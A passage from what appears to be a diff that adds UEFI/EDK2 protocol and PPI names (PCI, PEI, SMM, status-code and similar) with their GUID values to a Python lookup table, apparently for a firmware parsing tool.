'EFI_PCI_HOT_PLUG_INIT_PROTOCOL_GUID': [0xaa0e8bc1, 0xdabc, 0x46b0, 0xa8, 0x44, 0x37, 0xb8, 0x16, 0x9b, 0x2b, 0xea], + 'EFI_PCI_IO_PROTOCOL_GUID': [0x4cf5b200, 0x68b8, 0x4ca5, 0x9e, 0xec, 0xb2, 0x3e, 0x3f, 0x50, 0x2, 0x9a], + 'EFI_PCI_OPTION_ROM_TABLE_GUID': [0x7462660f, 0x1cbd, 0x48da, 0xad, 0x11, 0x91, 0x71, 0x79, 0x13, 0x83, 0x1c], + 'EFI_PCI_OVERRIDE_GUID': [0xb5b35764, 0x460c, 0x4a06, 0x99, 0xfc, 0x77, 0xa1, 0x7c, 0x1b, 0x5c, 0xeb], + 'EFI_PCI_PLATFORM_PROTOCOL_GUID': [0x7d75280, 0x27d4, 0x4d69, 0x90, 0xd0, 0x56, 0x43, 0xe2, 0x38, 0xb3, 0x41], + 'EFI_PCI_ROOT_BRIDGE_IO_PROTOCOL_GUID': [0x2f707ebb, 0x4a1a, 0x11d4, 0x9a, 0x38, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PC_ANSI_GUID': [0xe0c14753, 0xf9be, 0x11d2, 0x9a, 0x0c, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PEI_APRIORI_FILE_NAME_GUID': [0x1b45cc0a, 0x156a, 0x428a, 0xaf, 0x62, 0x49, 0x86, 0x4d, 0xa0, 0xe6, 0xe6], + 'EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI_GUID': [0xabd42895, 0x78cf, 0x4872, 0x84, 0x44, 0x1b, 0x5c, 0x18, 0x0b, 0xfb, 0xff], + 'EFI_PEI_CPU_IO_PPI_INSTALLED_GUID': [0xe6af1f7b, 0xfc3f, 0x46da, 0xa8, 0x28, 0xa3, 0xb4, 0x57, 0xa4, 0x42, 0x82], + 'EFI_PEI_DECOMPRESS_PPI_GUID': [0x1a36e4e7, 0xfab6, 0x476a, 0x8e, 0x75, 0x69, 0x5a, 0x5, 0x76, 0xfd, 0xd7], + 'EFI_PEI_DEVICE_RECOVERY_MODULE_PPI_GUID': [0x0DE2CE25, 0x446A, 0x45a7, 0xBF, 0xC9, 0x37, 0xDA, 0x26, 0x34, 0x4B, 0x37], + 'EFI_PEI_END_OF_PEI_PHASE_PPI_GUID': [0x605EA650, 0xC65C, 0x42e1, 0xBA, 0x80, 0x91, 0xA5, 0x2A, 0xB6, 0x18, 0xC6], + 'EFI_PEI_FIND_FV_PPI_GUID': [0x36164812, 0xa023, 0x44e5, 0xbd, 0x85, 0x5, 0xbf, 0x3c, 0x77, 0x0, 0xaa], + 'EFI_PEI_FIRMWARE_VOLUME_INFO_PPI_GUID': [0x49edb1c1, 0xbf21, 0x4761, 0xbb, 0x12, 0xeb, 0x0, 0x31, 0xaa, 0xbb, 0x39], + 'EFI_PEI_FLUSH_INSTRUCTION_CACHE_GUID': [0xd8117cfc, 0x94a6, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PEI_LOADED_IMAGE_PPI_GUID': [0xc1fcd448, 0x6300, 0x4458, 0xb8, 0x64, 0x28, 0xdf, 0x01, 0x53, 0x64, 0xbc], + 'EFI_PEI_LOAD_FILE_GUID': [0xb9e0abfe, 0x5979, 0x4914, 0x97, 0x7f, 0x6d, 0xee, 0x78, 0xc2, 0x78, 0xa6], + 'EFI_PEI_LOAD_FILE_PPI_GUID': [0xb9e0abfe, 0x5979, 0x4914, 0x97, 0x7f, 0x6d, 0xee, 0x78, 0xc2, 0x78, 0xa6], + 'EFI_PEI_PCD_PPI_GUID': [0x1f34d25, 0x4de2, 0x23ad, 0x3f, 0xf3, 0x36, 0x35, 0x3f, 0xf3, 0x23, 0xf1], + 'EFI_PEI_PCI_CFG2_PPI_GUID': [0x57a449a, 0x1fdc, 0x4c06, 0xbf, 0xc9, 0xf5, 0x3f, 0x6a, 0x99, 0xbb, 0x92], + 'EFI_PEI_PCI_CFG_PPI_INSTALLED_GUID': [0xe1f2eba0, 0xf7b9, 0x4a26, 0x86, 0x20, 0x13, 0x12, 0x21, 0x64, 0x2a, 0x90], + 'EFI_PEI_PERFORMANCE_HOB_GUID': [0x10f432de, 0xdeec, 0x4631, 0x80, 0xcd, 0x47, 0xf6, 0x5d, 0x8f, 0x80, 0xbb], + 'EFI_PEI_PERMANENT_MEMORY_INSTALLED_PPI_GUID': [0xf894643d, 0xc449, 0x42d1, 0x8e, 0xa8, 0x85, 0xbd, 0xd8, 0xc6, 0x5b, 0xde], + 'EFI_PEI_PE_COFF_LOADER_GUID': [0xd8117cff, 0x94a6, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PEI_READ_ONLY_VARIABLE2_PPI_GUID': [0x2ab86ef5, 0xecb5, 0x4134, 0xb5, 0x56, 0x38, 0x54, 0xca, 0x1f, 0xe1, 0xb4], + 'EFI_PEI_READ_ONLY_VARIABLE_ACCESS_PPI_GUID': [0x3cdc90c6, 0x13fb, 0x4a75, 0x9e, 0x79, 0x59, 0xe9, 0xdd, 0x78, 0xb9, 0xfa], + 'EFI_PEI_RECOVERY_BLOCK_IO_PPI_GUID': [0x695d8aa1, 0x42ee, 0x4c46, 0x80, 0x5c, 0x6e, 0xa6, 0xbc, 0xe7, 0x99, 0xe3], + 'EFI_PEI_RECOVERY_MODULE_PPI_GUID': [0xFB6D9542, 0x612D, 0x4f45, 0x87, 0x2F, 0x5C, 0xFF, 0x52, 0xE9, 0x3D, 0xCF], + 'EFI_PEI_REPORT_PROGRESS_CODE_PPI_GUID': [0x229832d3, 0x7a30, 0x4b36, 0xb8, 0x27, 0xf4, 0xc, 0xb7, 0xd4, 0x54, 0x36], + 'EFI_PEI_RESET_PPI_GUID': [0xef398d58, 0x9dfd, 0x4103, 0xbf, 0x94, 0x78, 0xc6, 0xf4, 0xfe, 0x71, 0x2f], + 'EFI_PEI_RSC_HANDLER_PPI_GUID': [0x65d394, 0x9951, 0x4144, 0x82, 0xa3, 0xa, 0xfc, 0x85, 0x79, 0xc2, 0x51], + 'EFI_PEI_S3_RESUME2_PPI_GUID': [0x6D582DBC, 0xDB85, 0x4514, 0x8F, 0xCC, 0x5A, 0xDF, 0x62, 0x27, 0xB1, 0x47], + 'EFI_PEI_S3_RESUME_PPI_GUID': [0x4426CCB2, 0xE684, 0x4a8a, 0xAE, 0x40, 0x20, 0xD4, 0xB0, 0x25, 0xB7, 0x10], + 'EFI_PEI_SECTION_EXTRACTION_PPI_GUID': [0x4F89E208, 0xE144, 0x4804, 0x9E, 0xC8, 0x0F, 0x89, 0x4F, 0x7E, 0x36, 0xD7], + 'EFI_PEI_SECURITY2_PPI_GUID': [0xdcd0be23, 0x9586, 0x40f4, 0xb6, 0x43, 0x06, 0x52, 0x2c, 0xed, 0x4e, 0xde], + 'EFI_PEI_SECURITY_PPI_GUID': [0x1388066e, 0x3a57, 0x4efa, 0x98, 0xf3, 0xc1, 0x2f, 0x3a, 0x95, 0x8a, 0x29], + 'EFI_PEI_SMBUS2_PPI_GUID': [0x9ca93627, 0xb65b, 0x4324, 0xa2, 0x2, 0xc0, 0xb4, 0x61, 0x76, 0x45, 0x43], + 'EFI_PEI_SMBUS_PPI_GUID': [0xabd42895, 0x78cf, 0x4872, 0x84, 0x44, 0x1b, 0x5c, 0x18, 0xb, 0xfb, 0xda], + 'EFI_PEI_SMM_COMMUNICATION_PPI_GUID': [0xae933e1c, 0xcc47, 0x4e38, 0x8f, 0xe, 0xe2, 0xf6, 0x1d, 0x26, 0x5, 0xdf], + 'EFI_PEI_STALL_PPI_GUID': [0x1f4c6f90, 0xb06b, 0x48d8, 0xa2, 0x01, 0xba, 0xe5, 0xf1, 0xcd, 0x7d, 0x56], + 'EFI_PEI_TEMPORARY_RAM_DONE_PPI_GUID': [0xceab683c, 0xec56, 0x4a2d, 0xa9, 0x06, 0x40, 0x53, 0xfa, 0x4e, 0x9c, 0x16], + 'EFI_PEI_TEMPORARY_RAM_SUPPORT_PPI_GUID': [0xdbe23aa9, 0xa345, 0x4b97, 0x85, 0xb6, 0xb2, 0x26, 0xf1, 0x61, 0x73, 0x89], + 'EFI_PEI_TRANSFER_CONTROL_GUID': [0xd8117d02, 0x94a6, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PEI_VECTOR_HANDOFF_INFO_PPI_GUID': [0x3cd652b4, 0x6d33, 0x4dce, 0x89, 0xdb, 0x83, 0xdf, 0x97, 0x66, 0xfc, 0xca], + 'EFI_PERFORMANCE_PROTOCOL_GUID': [0xFFECFFFF, 0x923C, 0x14d2, 0x9E, 0x3F, 0x22, 0xA0, 0xC9, 0x69, 0x56, 0x3B], + 'EFI_PHYSICAL_PRESENCE_DATA_GUID': [0xf6499b1, 0xe9ad, 0x493d, 0xb9, 0xc2, 0x2f, 0x90, 0x81, 0x5c, 0x6c, 0xbc], + 'EFI_PLATFORM_DRIVER_OVERRIDE_PROTOCOL_GUID': [0x6b30c738, 0xa391, 0x11d4, 0x9a, 0x3b, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PLATFORM_MEMTEST_PROTOCOL_GUID': [0x859ba18, 0x7dd7, 0x4ed7, 0xa8, 0x8e, 0x10, 0x9c, 0x63, 0x91, 0x7b, 0xdd], + 'EFI_PLATFORM_TO_DRIVER_CONFIGURATION_CLP_GUID': [0x345ecc0e, 0x0cb6, 0x4b75, 0xbb, 0x57, 0x1b, 0x12, 0x9c, 0x47, 0x33, 0x3e], + 'EFI_PLATFORM_TO_DRIVER_CONFIGURATION_PROTOCOL_GUID': [0x642cd590, 0x8059, 0x4c0a, 0xa9, 0x58, 0xc5, 0xec, 0x07, 0xd2, 0x3c, 0x4b], + 'EFI_PRIMARY_CONSOLE_IN_DEVICE_GUID': [0xe451dcbe, 0x96a1, 0x4729, 0xa5, 0xcf, 0x6b, 0x9c, 0x2c, 0xff, 0x47, 0xfd], + 'EFI_PRIMARY_CONSOLE_OUT_DEVICE_GUID': [0x62bdf38a, 0xe3d5, 0x492c, 0x95, 0xc, 0x23, 0xa7, 0xf6, 0x6e, 0x67, 0x2e], + 'EFI_PRIMARY_STANDARD_ERROR_DEVICE_GUID': [0x5a68191b, 0x9b97, 0x4752, 0x99, 0x46, 0xe3, 0x6a, 0x5d, 0xa9, 0x42, 0xb1], + 'EFI_PRINT2_PROTOCOL_GUID': [0xf05976ef, 0x83f1, 0x4f3d, 0x86, 0x19, 0xf7, 0x59, 0x5d, 0x41, 0xe5, 0x38], + 'EFI_PRINT_PROTOCOL_GUID': [0xdf2d868e, 0x32fc, 0x4cf0, 0x8e, 0x6b, 0xff, 0xd9, 0x5d, 0x13, 0x43, 0xd0], + 'EFI_PROCESSOR_PRODUCER_GUID': [0x1bf06aea, 0x5bec, 0x4a8d, 0x95, 0x76, 0x74, 0x9b, 0x09, 0x56, 0x2d, 0x30], + 'EFI_PROCESSOR_SUBCLASS_GUID': [0x26fdeb7e, 0xb8af, 0x4ccf, 0xaa, 0x97, 0x02, 0x63, 0x3c, 0xe4, 0x8c, 0xa7], + 'EFI_PS2_POLICY_PROTOCOL_GUID': [0x4df19259, 0xdc71, 0x4d46, 0xbe, 0xf1, 0x35, 0x7b, 0xb5, 0x78, 0xc4, 0x18], + 'EFI_PXE_BASE_CODE_CALLBACK_PROTOCOL_GUID': [0x245dca21, 0xfb7b, 0x11d3, 0x8f, 0x01, 0x00, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_PXE_BASE_CODE_PROTOCOL_GUID': [0x03c4e603, 0xac28, 0x11d3, 0x9a, 0x2d, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PXE_DHCP4_CALLBACK_PROTOCOL_GUID': [0xc1544c01, 0x92a4, 0x4198, 0x8a, 0x84, 0x77, 0x85, 0x83, 0xc2, 0x36, 0x21], + 'EFI_PXE_DHCP4_PROTOCOL_GUID': [0x03c4e624, 0xac28, 0x11d3, 0x9a, 0x2d, 0x00, 0x90, 0x29, 0x3f, 0xc1, 0x4d], + 'EFI_REAL_TIME_CLOCK_ARCH_PROTOCOL_GUID': [0x27CFAC87, 0x46CC, 0x11d4, 0x9A, 0x38, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_RESET_ARCH_PROTOCOL_GUID': [0x27CFAC88, 0x46CC, 0x11d4, 0x9A, 0x38, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_RSC_HANDLER_PROTOCOL_GUID': [0x86212936, 0xe76, 0x41c8, 0xa0, 0x3a, 0x2a, 0xf2, 0xfc, 0x1c, 0x39, 0xe2], + 'EFI_RUNTIME_ARCH_PROTOCOL_GUID': [0xb7dfb4e1, 0x52f, 0x449f, 0x87, 0xbe, 0x98, 0x18, 0xfc, 0x91, 0xb7, 0x33], + 'EFI_RUNTIME_CRYPT_PROTOCOL_GUID': [0xe1475e0c, 0x1746, 0x4802, 0x86, 0x2e, 0x1, 0x1c, 0x2c, 0x2d, 0x9d, 0x86], + 'EFI_S3_SAVE_STATE_PROTOCOL_GUID': [0xe857caf6, 0xc046, 0x45dc, 0xbe, 0x3f, 0xee, 0x7, 0x65, 0xfb, 0xa8, 0x87], + 'EFI_S3_SMM_SAVE_STATE_PROTOCOL_GUID': [0x320afe62, 0xe593, 0x49cb, 0xa9, 0xf1, 0xd4, 0xc2, 0xf4, 0xaf, 0x1, 0x4c], + 'EFI_SAL_MCA_INIT_PMI_PROTOCOL_GUID': [0xb60dc6e8, 0x3b6f, 0x11d5, 0xaf, 0x9, 0x0, 0xa0, 0xc9, 0x44, 0xa0, 0x5b], + 'EFI_SAL_SYSTEM_TABLE_GUID': [0xeb9d2d32, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_SAS_DEVICE_PATH_GUID': [0xd487ddb4, 0x008b, 0x11d9, 0xaf, 0xdc, 0x00, 0x10, 0x83, 0xff, 0xca, 0x4d], + 'EFI_SCSI_BUS_PROTOCOL_GUID': [0x5261213D, 0x3A3D, 0x441E, 0xB3, 0xAF, 0x21, 0xD3, 0xF7, 0xA4, 0xCA, 0x17], + 'EFI_SCSI_IO_PROTOCOL_GUID': [0x932f47e6, 0x2362, 0x4002, 0x80, 0x3e, 0x3c, 0xd5, 0x4b, 0x13, 0x8f, 0x85], + 'EFI_SCSI_PASS_THRU_PROTOCOL_GUID': [0xa59e8fcf, 0xbda0, 0x43bb, 0x90, 0xb1, 0xd3, 0x73, 0x2e, 0xca, 0xa8, 0x77], + 'EFI_SECTION_EXTRACTION_PROTOCOL_GUID': [0x448F5DA4, 0x6DD7, 0x4FE1, 0x93, 0x07, 0x69, 0x22, 0x41, 0x92, 0x21, 0x5D], + 'EFI_SECURITY2_ARCH_PROTOCOL_GUID': [0x94ab2f58, 0x1438, 0x4ef1, 0x91, 0x52, 0x18, 0x94, 0x1a, 0x3a, 0x0e, 0x68], + 'EFI_SECURITY_ARCH_PROTOCOL_GUID': [0xA46423E3, 0x4617, 0x49f1, 0xB9, 0xFF, 0xD1, 0xBF, 0xA9, 0x11, 0x58, 0x39], + 'EFI_SECURITY_POLICY_PROTOCOL_GUID': [0x78E4D245, 0xCD4D, 0x4a05, 0xA2, 0xBA, 0x47, 0x43, 0xE8, 0x6C, 0xFC, 0xAB], + 'EFI_SEC_PLATFORM_INFORMATION_GUID': [0x6f8c2b35, 0xfef4, 0x448d, 0x82, 0x56, 0xe1, 0x1b, 0x19, 0xd6, 0x10, 0x77], + 'EFI_SERIAL_IO_PROTOCOL_GUID': [0xBB25CF6F, 0xF1D4, 0x11D2, 0x9A, 0x0C, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0xFD], + 'EFI_SE_EXT_SIGNATURE_GUID': [0xd2c18636, 0x40e5, 0x4eb5, 0xa3, 0x1b, 0x36, 0x69, 0x5f, 0xd4, 0x2c, 0x87], + 'EFI_SHELLPKG_TOKEN_SPACE_GUID': [0x171e9188, 0x31d3, 0x40f5, 0xb1, 0xc, 0x53, 0x9b, 0x2d, 0xb9, 0x40, 0xcd], + 'EFI_SHELL_FILE_GUID': [0xc57ad6b7, 0x0515, 0x40a8, 0x9d, 0x21, 0x55, 0x16, 0x52, 0x85, 0x4e, 0x37], + 'EFI_SHELL_PARAMETERS_PROTOCOL_GUID': [0x752f3136, 0x4e16, 0x4fdc, 0xa2, 0x2a, 0xe5, 0xf4, 0x68, 0x12, 0xf4, 0xca], + 'EFI_SHELL_PROTOCOL_GUID': [0x6302d008, 0x7f9b, 0x4f30, 0x87, 0xac, 0x60, 0xc9, 0xfe, 0xf5, 0xda, 0x4e], + 'EFI_SIMPLE_FILE_SYSTEM_PROTOCOL_GUID': [0x964e5b22, 0x6459, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_SIMPLE_NETWORK_PROTOCOL_GUID': [0xA19832B9, 0xAC25, 0x11D3, 0x9A, 0x2D, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_SIMPLE_POINTER_PROTOCOL_GUID': [0x31878c87, 0xb75, 0x11d5, 0x9a, 0x4f, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_SIMPLE_TEXT_INPUT_EX_PROTOCOL_GUID': [0xdd9e7534, 0x7762, 0x4698, 0x8c, 0x14, 0xf5, 0x85, 0x17, 0xa6, 0x25, 0xaa], + 'EFI_SIMPLE_TEXT_INPUT_PROTOCOL_GUID': [0x387477c1, 0x69c7, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_SIMPLE_TEXT_IN_PROTOCOL_GUID': [0x387477c1, 0x69c7, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL_GUID': [0x387477c2, 0x69c7, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_SIMPLE_TEXT_OUT_PROTOCOL_GUID': [0x387477c2, 0x69c7, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_SIO_PROTOCOL_GUID': [0x215fdd18, 0xbd50, 0x4feb, 0x89, 0xb, 0x58, 0xca, 0xb, 0x47, 0x39, 0xe9], + 'EFI_SMBIOS_PROTOCOL_GUID': [0x3583ff6, 0xcb36, 0x4940, 0x94, 0x7e, 0xb9, 0xb3, 0x9f, 0x4a, 0xfa, 0xf7], + 'EFI_SMBIOS_TABLE_GUID': [0xeb9d2d31, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_SMBUS_HC_PROTOCOL_GUID': [0xe49d33ed, 0x513d, 0x4634, 0xb6, 0x98, 0x6f, 0x55, 0xaa, 0x75, 0x1c, 0x1b], + 'EFI_SMM_ACCESS2_PROTOCOL_GUID': [0xc2702b74, 0x800c, 0x4131, 0x87, 0x46, 0x8f, 0xb5, 0xb8, 0x9c, 0xe4, 0xac], + 'EFI_SMM_ACCESS_PROTOCOL_GUID': [0x3792095a, 0xe309, 0x4c1e, 0xaa, 0x01, 0x85, 0xf5, 0x65, 0x5a, 0x17, 0xf1], + 'EFI_SMM_BASE2_PROTOCOL_GUID': [0xf4ccbfb7, 0xf6e0, 0x47fd, 0x9d, 0xd4, 0x10, 0xa8, 0xf1, 0x50, 0xc1, 0x91], + 'EFI_SMM_BASE_HELPER_READY_PROTOCOL_GUID': [0x910dca07, 0x1f94, 0x4ee7, 0xaf, 0x2f, 0xff, 0x72, 0xf3, 0x15, 0x43, 0x53], + 'EFI_SMM_BASE_PROTOCOL_GUID': [0x1390954D, 0xda95, 0x4227, 0x93, 0x28, 0x72, 0x82, 0xc2, 0x17, 0xda, 0xa8], + 'EFI_SMM_COMMUNICATION_PROTOCOL_GUID': [0xc68ed8e2, 0x9dc6, 0x4cbd, 0x9d, 0x94, 0xdb, 0x65, 0xac, 0xc5, 0xc3, 0x32], + 'EFI_SMM_CONFIGURATION_PROTOCOL_GUID': [0x26eeb3de, 0xb689, 0x492e, 0x80, 0xf0, 0xbe, 0x8b, 0xd7, 0xda, 0x4b, 0xa7], + 'EFI_SMM_CONTROL2_PROTOCOL_GUID': [0x843dc720, 0xab1e, 0x42cb, 0x93, 0x57, 0x8a, 0x0, 0x78, 0xf3, 0x56, 0x1b], + 'EFI_SMM_CONTROL_PROTOCOL_GUID': [0x8d12e231, 0xc667, 0x4fd1, 0x98, 0xf2, 0x24, 0x49, 0xa7, 0xe7, 0xb2, 0xe5], + 'EFI_SMM_CPU_IO2_PROTOCOL_GUID': [0x3242A9D8, 0xCE70, 0x4AA0, 0x95, 0x5D, 0x5E, 0x7B, 0x14, 0x0D, 0xE4, 0xD2], + 'EFI_SMM_CPU_IO_GUID': [0x5f439a0b, 0x45d8, 0x4682, 0xa4, 0xf4, 0xf0, 0x57, 0x6b, 0x51, 0x34, 0x41], + 'EFI_SMM_CPU_PROTOCOL_GUID': [0xeb346b97, 0x975f, 0x4a9f, 0x8b, 0x22, 0xf8, 0xe9, 0x2b, 0xb3, 0xd5, 0x69], + 'EFI_SMM_CPU_SAVE_STATE_PROTOCOL_GUID': [0x21f302ad, 0x6e94, 0x471b, 0x84, 0xbc, 0xb1, 0x48, 0x0, 0x40, 0x3a, 0x1d], + 'EFI_SMM_END_OF_DXE_PROTOCOL_GUID': [0x24e70042, 0xd5c5, 0x4260, 0x8c, 0x39, 0xa, 0xd3, 0xaa, 0x32, 0xe9, 0x3d], + 'EFI_SMM_FAULT_TOLERANT_WRITE_PROTOCOL_GUID': [0x3868fc3b, 0x7e45, 0x43a7, 0x90, 0x6c, 0x4b, 0xa4, 0x7d, 0xe1, 0x75, 0x4d], + 'EFI_SMM_FIRMWARE_VOLUME_BLOCK_PROTOCOL_GUID': [0xd326d041, 0xbd31, 0x4c01, 0xb5, 0xa8, 0x62, 0x8b, 0xe8, 0x7f, 0x6, 0x53], + 'EFI_SMM_GPI_DISPATCH2_PROTOCOL_GUID': [0x25566b03, 0xb577, 0x4cbf, 0x95, 0x8c, 0xed, 0x66, 0x3e, 0xa2, 0x43, 0x80], + 'EFI_SMM_GPI_DISPATCH_PROTOCOL_GUID': [0xe0744b81, 0x9513, 0x49cd, 0x8c, 0xea, 0xe9, 0x24, 0x5e, 0x70, 0x39, 0xda], + 'EFI_SMM_ICHN_DISPATCH_PROTOCOL_GUID': [0xc50b323e, 0x9075, 0x4f2a, 0xac, 0x8e, 0xd2, 0x59, 0x6a, 0x10, 0x85, 0xcc], + 'EFI_SMM_IO_TRAP_DISPATCH2_PROTOCOL_GUID': [0x58dc368d, 0x7bfa, 0x4e77, 0xab, 0xbc, 0xe, 0x29, 0x41, 0x8d, 0xf9, 0x30], + 'EFI_SMM_LOCK_BOX_COMMUNICATION_GUID': [0x2a3cfebd, 0x27e8, 0x4d0a, 0x8b, 0x79, 0xd6, 0x88, 0xc2, 0xa3, 0xe1, 0xc0], + 'EFI_SMM_PCI_ROOT_BRIDGE_IO_PROTOCOL_GUID': [0x8bc1714d, 0xffcb, 0x41c3, 0x89, 0xdc, 0x6c, 0x74, 0xd0, 0x6d, 0x98, 0xea], + 'EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL_GUID': [0x4cec368e, 0x8e8e, 0x4d71, 0x8b, 0xe1, 0x95, 0x8c, 0x45, 0xfc, 0x8a, 0x53], + 'EFI_SMM_PERIODIC_TIMER_DISPATCH_PROTOCOL_GUID': [0x9cca03fc, 0x4c9e, 0x4a19, 0x9b, 0x6, 0xed, 0x7b, 0x47, 0x9b, 0xde, 0x55], + 'EFI_SMM_POWER_BUTTON_DISPATCH2_PROTOCOL_GUID': [0x1b1183fa, 0x1823, 0x46a7, 0x88, 0x72, 0x9c, 0x57, 0x87, 0x55, 0x40, 0x9d], + 'EFI_SMM_POWER_BUTTON_DISPATCH_PROTOCOL_GUID': [0xb709efa0, 0x47a6, 0x4b41, 0xb9, 0x31, 0x12, 0xec, 0xe7, 0xa8, 0xee, 0x56], + 'EFI_SMM_READY_TO_LOCK_PROTOCOL_GUID': [0x47b7fa8c, 0xf4bd, 0x4af6, 0x82, 0x00, 0x33, 0x30, 0x86, 0xf0, 0xd2, 0xc8], + 'EFI_SMM_RSC_HANDLER_PROTOCOL_GUID': [0x2ff29fa7, 0x5e80, 0x4ed9, 0xb3, 0x80, 0x1, 0x7d, 0x3c, 0x55, 0x4f, 0xf4], + 'EFI_SMM_STANDBY_BUTTON_DISPATCH2_PROTOCOL_GUID': [0x7300c4a1, 0x43f2, 0x4017, 0xa5, 0x1b, 0xc8, 0x1a, 0x7f, 0x40, 0x58, 0x5b], + 'EFI_SMM_STANDBY_BUTTON_DISPATCH_PROTOCOL_GUID': [0x78965b98, 0xb0bf, 0x449e, 0x8b, 0x22, 0xd2, 0x91, 0x4e, 0x49, 0x8a, 0x98], + 'EFI_SMM_STATUS_CODE_PROTOCOL_GUID': [0x6afd2b77, 0x98c1, 0x4acd, 0xa6, 0xf9, 0x8a, 0x94, 0x39, 0xde, 0xf, 0xb1], + 'EFI_SMM_SWAP_ADDRESS_RANGE_PROTOCOL_GUID': [0x67c4f112, 0x3385, 0x4e55, 0x9c, 0x5b, 0xc0, 0x5b, 0x71, 0x7c, 0x42, 0x28], + 'EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID': [0x18a3c6dc, 0x5eea, 0x48c8, 0xa1, 0xc1, 0xb5, 0x33, 0x89, 0xf9, 0x89, 0x99], + 'EFI_SMM_SW_DISPATCH_PROTOCOL_GUID': [0xe541b773, 0xdd11, 0x420c, 0xb0, 0x26, 0xdf, 0x99, 0x36, 0x53, 0xf8, 0xbf], + 'EFI_SMM_SX_DISPATCH2_PROTOCOL_GUID': [0x456d2859, 0xa84b, 0x4e47, 0xa2, 0xee, 0x32, 0x76, 0xd8, 0x86, 0x99, 0x7d], + 'EFI_SMM_SX_DISPATCH_PROTOCOL_GUID': [0x14fc52be, 0x1dc, 0x426c, 0x91, 0xae, 0xa2, 0x3c, 0x3e, 0x22, 0xa, 0xe8], + 'EFI_SMM_USB_DISPATCH2_PROTOCOL_GUID': [0xee9b8d90, 0xc5a6, 0x40a2, 0xbd, 0xe2, 0x52, 0x55, 0x8d, 0x33, 0xcc, 0xa1], + 'EFI_SMM_USB_DISPATCH_PROTOCOL_GUID': [0xa05b6ffd, 0x87af, 0x4e42, 0x95, 0xc9, 0x62, 0x28, 0xb6, 0x3c, 0xf3, 0xf3], + 'EFI_SMM_VARIABLE_PROTOCOL_GUID': [0xed32d533, 0x99e6, 0x4209, 0x9c, 0xc0, 0x2d, 0x72, 0xcd, 0xd9, 0x98, 0xa7], + 'EFI_SMM_VARIABLE_WRITE_GUID': [0x93ba1826, 0xdffb, 0x45dd, 0x82, 0xa7, 0xe7, 0xdc, 0xaa, 0x3b, 0xbd, 0xf3], + 'EFI_STANDARD_CALLER_ID_GUID': [0xC9DCF469, 0xA7C4, 0x11D5, 0x87, 0xDA, 0x00, 0x06, 0x29, 0x45, 0xC3, 0xB9], + 'EFI_STANDARD_ERROR_DEVICE_GUID': [0xd3b36f2d, 0xd551, 0x11d4, 0x9a, 0x46, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_STATUS_CODE_DATA_TYPE_ASSERT_GUID': [0xDA571595, 0x4D99, 0x487C, 0x82, 0x7C, 0x26, 0x22, 0x67, 0x7D, 0x33, 0x07], + 'EFI_STATUS_CODE_DATA_TYPE_DEBUG_GUID': [0x9A4E9246, 0xD553, 0x11D5, 0x87, 0xE2, 0x00, 0x06, 0x29, 0x45, 0xC3, 0xb9], + 'EFI_STATUS_CODE_DATA_TYPE_ERROR_GUID': [0xAB359CE3, 0x99B3, 0xAE18, 0xC8, 0x9D, 0x95, 0xD3, 0xB0, 0x72, 0xE1, 0x9B], + 'EFI_STATUS_CODE_DATA_TYPE_EXCEPTION_HANDLER_GUID': [0x3BC2BD12, 0xAD2E, 0x11D5, 0x87, 0xDD, 0x00, 0x06, 0x29, 0x45, 0xC3, 0xB9], + 'EFI_STATUS_CODE_DATA_TYPE_PROGRESS_CODE_GUID': [0xA356AB39, 0x35C4, 0x35DA, 0xB3, 0x7A, 0xF8, 0xEA, 0x9E, 0x8B, 0x36, 0xA3], + 'EFI_STATUS_CODE_DATA_TYPE_STRING_GUID': [0x92D11080, 0x496F, 0x4D95, 0xBE, 0x7E, 0x03, 0x74, 0x88, 0x38, 0x2B, 0x0A], + 'EFI_STATUS_CODE_GUID': [0xd083e94c, 0x6560, 0x42e4, 0xb6, 0xd4, 0x2d, 0xf7, 0x5a, 0xdf, 0x6a, 0x2a], + 'EFI_STATUS_CODE_RUNTIME_PROTOCOL_GUID': [0xd2b2b828, 0x826, 0x48a7, 0xb3, 0xdf, 0x98, 0x3c, 0x0, 0x60, 0x24, 0xf0], + 'EFI_STATUS_CODE_SPECIFIC_DATA_GUID': [0x335984bd, 0xe805, 0x409a, 0xb8, 0xf8, 0xd2, 0x7e, 0xce, 0x5f, 0xf7, 0xa6], + 'EFI_STORAGE_SECURITY_COMMAND_PROTOCOL_GUID': [0xC88B0B6D, 0x0DFC, 0x49A7, 0x9C, 0xB4, 0x49, 0x07, 0x4B, 0x4C, 0x3A, 0x78], + 